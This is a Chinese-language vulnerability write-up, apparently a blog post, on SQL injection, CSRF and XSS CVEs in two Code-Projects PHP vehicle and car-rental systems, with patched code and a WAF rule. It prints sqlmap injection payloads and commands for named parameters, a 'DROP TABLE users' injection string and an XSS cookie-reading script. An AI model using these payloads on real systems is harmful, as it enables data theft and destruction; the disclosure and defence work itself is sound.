code-projects旗下系统CVE漏洞

情景导入

1.Code-Projects Vehicle Management 1.0(车辆管理系统)

Code-Projects Vehicle Management 1.0(车辆管理系统)是一款专注于车辆全生命周期管理的软件系统,通过数字化手段优化企业或个人对车辆的调度、维护、监控及费用管理。

核心功能:

✅ 车辆信息管理 | ✅ 驾驶员管理 | ✅ 维护与维修 | ✅ 调度与任务分配 | ✅ 安全与监控

2.Code-Projects Simple Car Rental System 1.0(汽车租赁系统)

Code-Projects Simple Car Rental System 1.0(汽车租赁系统)是一个轻量级租赁管理工具,面向小型租赁公司或个人用户,提供车辆租赁、归还、费用计算及基础客户管理功能,强调操作简便性和快速部署。

核心功能:

✅ 车辆与客户管理 | ✅ 租赁流程自动化 | ✅ 费用管理 | ✅ 基础库存监控 | ✅ 简单权限控制

技术架构(均为):

• 前端:PHP动态页面(用户交互)  

• 后端:MySQL数据库(数据存储), Redis 缓存热门数据。  

• 通信协议:HTTP/HTTPS

漏洞全景图

漏洞类型

CVSS评分

影响系统

攻击复杂度

潜在危害

涉及CVE漏洞

SQL注入(车辆管理)

7.3(高危)

VM系统

数据库数据泄露、篡改、破坏

CVE-2025-8329

CVE-2025-8330

CSRF(汽车租赁)

4.3(中低)

CRS系统

用户非预期操作

CVE-2025-8335

XSS(汽车租赁)

2.4(低)

CRS系统

用户会话劫持、前端数据篡改

CVE-2025-8337

漏洞信息可视化:

CVE-2025-8337(/admin/add_vehicles.php  XSS脚本注入攻击)

CVE-2025-8335( CSRF漏洞 )

CVE-2025-8330(/edit1.php SQL注入)

Payload:
---

Parameter: sno (POST)

    Type: boolean-based blind

    Title: Boolean-based blind - Parameter replace (original value)

    Payload: sno=(SELECT (CASE WHEN (3061=3061) THEN 11 ELSE (SELECT 7860 UNION SELECT 8614) END))


    Type: error-based

    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: sno=11 OR (SELECT 6845 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(6845=6845,1))),0x7178786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: sno=11 AND (SELECT 7803 FROM (SELECT(SLEEP(5)))uMTS)

---

通过测试和运行SQL map工具获得的一些特定信息的屏幕截图:

sqlmap -u "http:/127.0.0.1/vehicle/edit1.php" --data="sno" --batch --dbs

CVE-2025-8329(/filter3.php SQL注入)

Payload:
---

Parameter: company (POST)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

    Payload: company=-1764' OR 4648=4648#


    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: company=SRI_KRISHNA_ENTERPRISES' AND (SELECT 3300 FROM(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(3300=3300,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Khlo


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: company=SRI_KRISHNA_ENTERPRISES' AND (SELECT 4694 FROM (SELECT(SLEEP(5)))QtLb)-- KWsV


    Type: UNION query

    Title: MySQL UNION query (NULL) - 24 columns

    Payload: company=SRI_KRISHNA_ENTERPRISES' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170766271,0x4d79784c6a56747a504872657a4854625075744d69746557766a4c4768707551524b737076484c69,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

---

测试和运行SQL map工具获得的一些特定信息的屏幕截图:

sqlmap -u "http:/127.0.0.1/vehicle/filter3.php" --data="company" --batch --dbs

漏洞剖析与防御策略

1. CVE-2025-8329:VMS过滤器3.php SQL注入漏洞

漏洞本质:未对用户输入参数company进行SQL转义,导致攻击者可注入恶意SQL代码。  

漏洞代码示例(/filter3.php):  

// 危险代码:直接拼接用户输入到SQL语句(无任何过滤)

$company = $_GET['company'];

$query = "SELECT * FROM vehicles WHERE company = '$company'";

$result = mysqli_query($conn, $query); 

此代码中,$company参数直接拼接到SQL语句中,攻击者可通过构造company=1' OR 1=1--注入OR 1=1,使SQL语句变为:  

SELECT * FROM vehicles WHERE company = '1' OR 1=1--'

--为SQL注释符,后续条件被忽略,攻击者可获取所有车辆数据。  

攻击流程图

修复建议

官方补丁:联系厂商(https://code-projects.org/)获取最新版本,覆盖/filter3.php文件。  

临时防护:  

  • 使用PHP PDO预处理语句(参数化查询):  

    // 安全代码:预处理语句防止注入

    $company = $_GET['company'];

    $stmt = $pdo->prepare("SELECT * FROM vehicles WHERE company = ?");

    $stmt->execute([$company]); // 参数自动转义 

  • 部署WAF拦截含UNION SELECT、DROP TABLE等关键字的请求(示例规则):  

    (?i)(?:\bfilter3\.php\?.*?company\s*=\s*['"].*(?:union|select|insert|update|delete|drop|alter|exec|xp_).*?['"])      

2. CVE-2025-8330:VMS Edit1.php SQL注入漏洞

与CVE-2025-8329同属SQL注入漏洞,核心缺陷为:未对sno参数进行SQL转义。  

漏洞代码示例(/edit1.php):  

// 危险代码:直接拼接用户输入到SQL更新语句(无过滤)

$sno = $_GET['sno'];

$stmt = "UPDATE vehicles SET status = 'active' WHERE sno = '$sno'";

mysqli_query($conn, $stmt); 

攻击者可构造sno=1'; DROP TABLE users;--,使SQL变为:  

UPDATE vehicles SET status = 'active' WHERE sno = '1'; DROP TABLE users;--'导致users表被删除。  

攻击流程图

修复建议

官方补丁:同步更新VMS至最新版本,重点修复/edit1.php中sno参数的处理逻辑。  

临时防护:  

  • 对sno参数实施白名单校验(仅允许数字类型):  

    if (!is_numeric($_GET['sno'])) {

        die("非法参数:sno必须为数字");

    }

    $sno = (int)$_GET['sno']; // 强制转换为整数

3. CVE-2025-8335:CRS跨站请求伪造(CSRF)漏洞

漏洞本质:未验证请求来源合法性,攻击者可诱导已登录用户执行非预期操作(如修改订单)。  

典型攻击场景:  

1. 用户登录CRS系统(保持会话,Cookie为session=abc123);  

2. 攻击者发送恶意链接(如http://crs.example.com/update_order.php?order_id=123&action=cancel);  

3. 用户点击链接,浏览器自动携带会话Cookie发送请求;  

4. 系统误认为是用户主动操作,执行cancel操作。  

攻击流程图

修复建议

官方补丁:联系厂商(https://github.com/i-Corner/cve/issues/12)获取修复版本。  

临时防护:  

  • 为敏感操作添加CSRF令牌:  

    <!-- 表单中添加隐藏的CSRF令牌 -->

    <form action="/update_order.php" method="POST">

        <input type="hidden" name="csrf_token" value="<?= generate_csrf_token() ?>">

        <input type="hidden" name="order_id" value="123">

        <button type="submit">取消订单</button>

    </form>

    (后端验证csrf_token是否与会话中存储的令牌一致)  

  • 限制Referer头来源(仅允许code-projects.org):  

    $referer = $_SERVER['HTTP_REFERER'] ?? '';

    if (!str_contains($referer, 'code-projects.org')) {

        die("非法请求来源");

    }      

4. CVE-2025-8337:CRS XSS漏洞

漏洞触发点
// /admin/add_vehicles.php 原始代码(危险代码)  

$car_name = $_POST['car_name'];  

echo "<div>车辆名称:" . $car_name . "</div>"; // 未对输出转义  

漏洞本质:直接输出用户输入的 car_name 参数,未进行 HTML 实体编码,导致恶意脚本注入。  

攻击逻辑

• 攻击者构造恶意输入:  

  POST /admin/add_vehicles.php HTTP/1.1  

  Host: target.com  

  car_name=<script>alert(document.cookie)</script>   

• 数据存储与触发:  

  1. 恶意 car_name 被存储至数据库。  

  2. 管理员访问车辆列表页面时,脚本从数据库读取并执行。  

攻击流程图

修复方案

1. 临时缓解措施(输出转义)

// 安全代码:使用htmlspecialchars转义输出  

$car_name = $_POST['car_name'];  

echo "<div>车辆名称:" . htmlspecialchars($car_name, ENT_QUOTES, 'UTF-8') . "</div>";   

原理:将 < 转义为 <,> 转义为 >,阻止脚本解析。  

2. 长期防御方案

输入过滤:  

  // 使用正则过滤非字母数字字符  

  $car_name = preg_replace('/[^a-zA-Z0-9\s\-]/', '', $_POST['car_name']);     

框架级防护:  

采用 Laravel Blade 模板引擎,默认自动转义输出:  

  {{-- 安全输出 --}}  

  <div>车辆名称:{{ $car_name }}</div>    

结启示

本次披露的漏洞集中暴露了code-projects旗下系统在输入验证、权限控制、安全编码等方面的缺陷。其中,车辆管理系统的SQL注入漏洞风险最高,需优先修复;汽车租赁系统的CSRF和XSS漏洞虽风险较低,但需同步处理以避免连锁攻击。

1. 输入即威胁:任何用户可控输入都必须过滤  

2. 修复成本曲线:早期发现漏洞修复成本比后期低90%  

3. 防御叠加效应:WAF+参数化查询+日志审计形成有效防护网  

行动号召:  

立即使用https://www.aliyun.com/product/vulnerability-scanning进行免费检测!

道德与法律约束

文中涉及的网络安全技术研究均遵循 合法合规原则:

1所有渗透测试仅针对 本地授权靶机环境

2技术演示均在 获得书面授权的模拟平台 完成

3坚决抵制任何未授权渗透行为

技术资料获取

如需完整实验代码、工具配置详解及靶机搭建指南:

请关注微信公众号 「零日破晓」

后台回复关键词 【博客资源】 获取独家技术文档包

法律追责提示

对于任何:

盗用文章内容

未授权转载

恶意篡改原创声明

本人保留法律追究权利。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值